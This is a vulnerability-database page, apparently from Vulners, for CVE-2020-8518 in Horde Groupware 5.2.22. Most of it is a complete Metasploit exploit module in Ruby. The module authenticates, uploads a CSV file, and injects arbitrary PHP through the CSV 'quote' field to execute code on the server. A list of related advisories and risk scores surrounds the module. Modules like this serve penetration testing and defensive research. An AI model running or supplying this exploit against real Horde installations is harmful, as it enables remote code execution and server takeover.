Lucene search
K

Horde CSV import arbitrary PHP code execution

🗓️ 14 Mar 2020 15:07:51Reported by Andrea Cardaci <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

Horde CSV import allows authenticated users to inject arbitrary PHP code achieving RCE on the server hosting the web application

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Horde Groupware Webmail Edition 5.2.22 - Remote Code Execution Exploit
15 Mar 202000:00
zdt
0day.today
Horde 5.2.22 CSV Import Code Execution Exploit
23 Mar 202000:00
zdt
Circl
CVE-2020-8518
23 Mar 202012:42
circl
Check Point Advisories
Horde Groupware Remote Code Execution (CVE-2020-8518)
3 Jun 202000:00
checkpoint_advisories
CVE
CVE-2020-8518
17 Feb 202014:53
cve
Cvelist
CVE-2020-8518
17 Feb 202014:53
cvelist
Debian
[SECURITY] [DLA 2174-1] php-horde-data security update
15 Apr 202003:02
debian
Debian CVE
CVE-2020-8518
17 Feb 202014:53
debiancve
Tenable Nessus
Debian DLA-2174-1 : php-horde-data security update
15 Apr 202000:00
nessus
Tenable Nessus
Fedora 30 : php-horde-Horde-Data (2020-0248ad925e)
14 Feb 202000:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Horde CSV import arbitrary PHP code execution',
        'Description' => %q{
          The Horde_Data module version 2.1.4 (and before) present in Horde
          Groupware version 5.2.22 allows authenticated users to inject
          arbitrary PHP code thus achieving RCE on the server hosting the web
          application.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Andrea Cardaci <[email protected]>'],
        'References' => [
          ['CVE', '2020-8518'],
          ['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
        ],
        'DisclosureDate' => '2020-02-07',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'Payload' => { 'BadChars' => "'" },
        'Privileged' => false,
        'DefaultOptions' => { 'PrependFork' => true },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'login.php'),
      'cookie' => 'Horde=x', # avoid multiple Set-Cookie
      'vars_post' => {
        'horde_user' => username,
        'horde_pass' => password,
        'login_post' => '1'
      }
    )
    unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')
      fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
    end

    vprint_good("Logged in as #{username}:#{password}")
    return res.get_cookies
  end

  def upload_csv(cookie)
    csv_fname = Rex::Text.rand_text_alpha(6..8)

    data = Rex::MIME::Message.new
    data.add_part('11', nil, nil, 'form-data; name="actionID"')
    data.add_part('1', nil, nil, 'form-data; name="import_step"')
    data.add_part('csv', nil, nil, 'form-data; name="import_format"')
    data.add_part('x', nil, nil, 'form-data; name="notepad_target"')
    data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie' => cookie,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    vprint_status("Uploading #{csv_fname}.csv")

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
    end

    vprint_good('CSV file uploaded')
  end

  def execute(cookie, function_call)
    options = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie' => cookie,
      'vars_post' => {
        'actionID' => '3',
        'import_step' => '2',
        'import_format' => 'csv',
        'header' => '1',
        'fields' => '1',
        'sep' => 'x',
        'quote' => ").#{function_call}.die();}//\\"
      }
    }

    send_request_cgi(options)
  end

  def exploit
    cookie = login
    upload_csv(cookie)
    # do not terminate the statement
    function_call = payload.encoded.tr(';', '')
    vprint_status("Sending payload: #{function_call}")
    execute(cookie, function_call)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jan 2024 23:29Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
CVSS 3.19.8
EPSS0.84857
45